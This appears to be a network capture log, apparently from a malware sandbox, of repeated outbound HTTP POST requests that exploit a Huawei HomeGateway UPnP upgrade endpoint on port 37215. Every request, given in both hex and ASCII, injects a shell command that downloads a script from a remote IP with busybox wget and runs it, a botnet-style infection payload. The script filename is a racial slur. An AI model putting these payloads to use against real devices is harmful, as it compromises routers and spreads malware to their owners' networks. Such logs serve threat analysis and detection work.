Feb 19, 2024 18:36:44.930587053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018640041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290441036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642560959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346061945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521661043 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336699963 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.15	58762	31.136.111.166	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376550913 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.962560892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
